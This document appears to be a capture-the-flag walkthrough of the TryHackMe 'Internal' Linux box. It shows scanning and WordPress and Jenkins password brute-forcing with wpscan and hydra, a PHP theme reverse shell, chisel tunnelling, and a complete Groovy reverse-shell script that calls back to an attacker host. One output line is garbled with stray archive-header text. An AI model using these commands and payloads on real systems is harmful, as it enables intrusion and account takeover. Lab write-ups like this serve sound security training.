A hard Linux box from TryHackMe, brute force a wordpress page for initial access, then pivot to a locally running Jenkins instance for root.


Starting with an nmap, all you can see is an apache server

sudo nmap -sC -sV -oA nmap/internal
Nmap scan report for
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Then running gobuster on files

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -u
/index.html           (Status: 200) [Size: 10918]
/.htaccess            (Status: 403) [Size: 277]  
/.                    (Status: 200) [Size: 10918]
/.html                (Status: 403) [Size: 277]  
/.php                 (Status: 403) [Size: 277]  
/.htpasswd            (Status: 403) [Size: 277]  
/.htm                 (Status: 403) [Size: 277]  
/.htpasswds           (Status: 403) [Size: 277]  
/.htgroup             (Status: 403) [Size: 277]  
/wp-forum.phps        (Status: 403) [Size: 277]                                                                     
/.htaccess.bak        (Status: 403) [Size: 277]                                                                     
/.htuser              (Status: 403) [Size: 277]                                                                     
/.ht                  (Status: 403) [Size: 277]                                                                     
/.htc                 (Status: 403) [Size: 277]

And then for directories…

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u
/blog                 (Status: 301) [Size: 311]
/javascript           (Status: 301) [Size: 317]
/phpmyadmin           (Status: 301) [Size: 317]
/wordpress            (Status: 301) [Size: 316]
/server-status        (Status: 403) [Size: 277]                                      

And also get a host name, internal.thm, and add it to the /etc/hosts file

From the gobuster scans, see that its a wordpress site, so also run wpscan

wpscan -e u --detection-mode aggressive internal.thm

Dont really find much, but find an “admin” user

[i] User(s) Identified:

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Using the included brute force function in wpscan, find the password to be “my2boys” giving the full admin creds, “admin:my2boys”

wpscan -U admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --url internal.thm/blog
[+] Performing password attack on Xmlrpc against 1 user/s
Trying admin / rockyou.txt000600 001750 001750 01025604131 12600553067 014457 0ustar00patrickpatrick000000 000000 12[SUCCESS] - admin / my2boys                                                                                         
Trying admin / lizzy Time: 00:03:56


Log into the admin panel then get reverse shell by editing the theme and adding a php reverse shell so it executes on page load

Now with the www-data user, do the regular linux enumeration, and find that there is something running on localhost:8080 that didnt show up in the initial nmap scan

Running curl on, get a response with some kind of error and google it, finding out that it is a Jenkins instance - one that we need to expose via chisel to see


Authentication required
You are authenticated as: anonymous
Groups that you are in:
Permission you need to have (but didn't): hudson.model.Hudson.Read
 ... which is implied by: hudson.security.Permission.GenericRead
 ... which is implied by: hudson.model.Hudson.Administer


To just expose 8080 on the victim machine, set up a chisel server on the victim, and then a client on the attacking machine

On the victim (after transferring the chisel binary to the /tmp directory)

./chisel server -p 47000

And on the attacking machine to bind victim:8080 to localhost:2222

chisel client 2222:

Now have a tunnel, can go to in the browser and see the Jenkins login page

Unfortunately the existing login creds dont work, so have to brute force them with hydra

After looking at the request, add the required information

hydra -s 2222 -V -f http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid" -l admin -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

And find that the login to the jenkins instance is “admin:spongebob”

Get greeted with the Jenkins admin panel, and then reverse shell via groovy script

String host="";
int port=1234;
String cmd="sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

As the docker user Jenkins, find a note in /opt with the root credentials

cat note.txt

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.


SSH into the machine with the creds, and now have root!